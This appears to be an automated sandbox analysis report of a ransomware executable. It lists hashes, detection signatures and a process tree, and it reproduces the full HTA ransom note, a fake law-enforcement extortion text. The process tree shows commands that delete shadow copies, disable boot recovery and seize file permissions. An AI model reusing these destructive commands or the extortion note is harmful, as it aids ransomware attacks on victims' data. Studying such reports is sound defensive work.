Analysis
-
max time kernel
126s -
max time network
152s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
16-03-2024 15:13
General
-
Target
467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe
-
Size
363KB
-
MD5
36a0cefeb8b0a606358142d4140ea7cf
-
SHA1
03ce13b4f60d2fc632b67b41b82b5e8cfaf9939f
-
SHA256
467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be
-
SHA512
63304f3ddca578beac157197581e6a2a762d9cf1fb08fa6ae85dcdc26340ae64badb0f4a9cb47521315c366b70bd0cf89bf1b72be29f89e2d91504cec7ca9093
-
SSDEEP
6144:VEwaWsAzrp8viKgjdCU641BHoKIPi2CRp2pFSnfJxLw/mq3pT+Qrm9m7s:G9UjdtzIKl2YY3SRxLw/BT+X
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\N00fBwZXjOQTTX9M.hta
Ransom Note
<html>
<head>
<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "NO" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/>
<style>
body{
background-color:#000000;
margin:0;
}
.vau{
margin:10px;
height:520px;
width:750px
}
.sc{
margin:1px 50px;
font-size:40px;
width:750px;
height:30px;
padding: 10px 20px 10px 20px;
background-color:#000000;
color:#e92124;
font-family: Impact;
text-transform: uppercase;
text-align: center;
}
.sc1{
margin:1px 50px;
font-size:20px;
width: 750px;
padding:20px;
background-color:#000000;
color: #e0dede;
font-family: Georgia;
text-align: left;
}
.gr{
margin: 10px 0px;
color:#189f29;
}
.red{
margin: 10px 0px;
color:#e92124;
}
.wh{
margin-top:0px;
margin-bottom:10px;
}
.wt{
margin-top:10px;
margin-bottom:0px;
}
</style>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Notification</title>
<script language="vbscript">
sub Window_Onload
window.resizeTo 850,725
screenWidth = Document.ParentWindow.Screen.AvailWidth
screenHeight = Document.ParentWindow.Screen.AvailHeight
posLeft = (screenWidth - 850) / 2
posTop = (screenHeight - 725) / 2
window.moveTo posLeft, posTop
end sub
</script>
</head>
<body scroll="no">
<div class="vau">
<div class="sc">
All your files have been encrypted!
</div>
<div class="sc1">
<p class="wh">All of important data on this computer was encrypted with strong RSA-2048 algorithm due to the violation of the federal laws of the United States of America! (Article 1, Section 8, Clause 8; Article 202; Arcticle 210 of the Criminal Code of U.S.A. provides for a deprivation of liberty for four to twelve years.)</p>
<b>Following violations were detected:</b><br />
Your IP adress was used to visit websites containing pornography, child pornography, zoophilia and child abuse!<br />
<p class="gr"><b>To unlock your files you have to pay the penalty!</b></p>
<p class="red">You have only <b>96 hours</b> to recover your personal data! After this time your unique key will be deleted and file decryption will become impossible!</p>
<p class="red">Each <b>12 hours</b> the payment size will be automatically increased by <b>100$</b>!</p>
<p class="gr"><b>You must pay the penalty through the Bitcoin Wallet.</b></p>
<p class="wt">To get your unique key and unlock files, you should send the following code:</p>
<b class="gr">TAVOb1nrt0pLc0ui-67B38C0E52010C27</b><br />
to our agent e-mails:<br />
<b class="gr">[email protected]</b> or<br />
<b class="gr">[email protected]</b><br />
You will recieve all necessary instructions!
</div>
<div class="sc">
Hurry up or you will be arrested!!!
</div>
</div>
</body>
</html>
Emails
class="gr">[email protected]</b>
class="gr">[email protected]</b><br
URLs
http-equiv="Content-Type"
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Deletes itself 1 IoCs
-
Drops startup file 2 IoCs
-
Executes dropped EXE 26 IoCs
-
Loads dropped DLL 40 IoCs
-
UPX packed file 29 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Suspicious use of SetThreadContext 14 IoCs
-
Drops file in Program Files directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 14 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 43 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Views/modifies file attributes 1 TTPs 46 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"2⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Local\Temp\467C2B~1.EXE" > "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe" && "C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "START" "60000"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe"C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "START" "60000"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe"C:\Users\Admin\AppData\Local\Temp\bZwDPohE.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "START" "60000"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\1TO4UAic.cmd"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost7⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe"C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" N00fBwZXjOQTTX9M3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe"C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" N00fBwZXjOQTTX9M4⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe" && "C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Local\Microsoft\1GNLT2Tg.exe" 15⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe"C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Local\Microsoft\1GNLT2Tg.exe" 16⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe"C:\Users\Admin\AppData\Roaming\MICROS~1\xr9qnma2.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Local\Microsoft\1GNLT2Tg.exe" 17⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe" && "C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\xr9qnma2.exe" 25⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe"C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\xr9qnma2.exe" 26⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe"C:\Users\Admin\AppData\Local\MICROS~1\1GNLT2Tg.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\2km925ZW.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\xr9qnma2.exe" 27⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe" && "C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "BRO_STARTED" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe"C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "BRO_STARTED" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe"C:\Users\Admin\AppData\Local\Temp\1YbAnN3f.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "BRO_STARTED" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe" && "C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "LOCAL_67B38C0E52010C27" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe"C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "LOCAL_67B38C0E52010C27" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe"C:\Users\Admin\AppData\Local\Temp\RZQHvJ7k.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "LOCAL_67B38C0E52010C27" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\J7mkP1S9.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe" && "C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe"C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe"C:\Users\Admin\AppData\Local\Temp\MvC1pbCt.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\JM2rTPHa.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe" && "C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "276_LESS_1GB" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe"C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "276_LESS_1GB" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe"C:\Users\Admin\AppData\Local\Temp\yoxm3vFb.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "276_LESS_1GB" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\k6zWXYwZ.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe" && "C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\N00fBwZXjOQTTX9M.elst" "1"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe"C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\N00fBwZXjOQTTX9M.elst" "1"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe"C:\Users\Admin\AppData\Local\Temp\o0fogtco.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\N00fBwZXjOQTTX9M.elst" "1"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\th0QjboI.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.execmd.exe /C vssadmin.exe delete shadows /all /quiet9⤵
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe delete shadows /all /quiet10⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\lbeBHbdx.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe" && "C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "CIP_STARTED" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe"C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "CIP_STARTED" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe"C:\Users\Admin\AppData\Local\Temp\f62i2ygu.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "CIP_STARTED" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\clqQr3QD.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Pictures\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Contacts\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\Links\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\LINKSF~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\MICROS~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\MSNWEB~1\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\YLTCBC~1\2km925ZW.exe" > "C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe" && "C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "100_OK" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe"C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "100_OK" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe"C:\Users\Admin\AppData\Local\Temp\iRHgv8BP.exe" "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\" "N00fBwZXjOQTTX9M" "100_OK" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\ylTcbCDwEhhj\Dy4bvWbn.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Pictures\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Admin\Searches\Everywhere.search-ms" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Admin\Searches\Everywhere.search-ms"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\Searches\Everywhere.search-ms" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Admin\Searches\Everywhere.search-ms"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Searches\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Admin\Searches\Indexed Locations.search-ms" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Admin\Searches\Indexed Locations.search-ms"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\Searches\Indexed Locations.search-ms" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Admin\Searches\Indexed Locations.search-ms"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C6⤵
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\Adobe\Acrobat\9.0\REPLIC~1\Security\WhatHappenedWithFiles.rtf"5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C6⤵
-
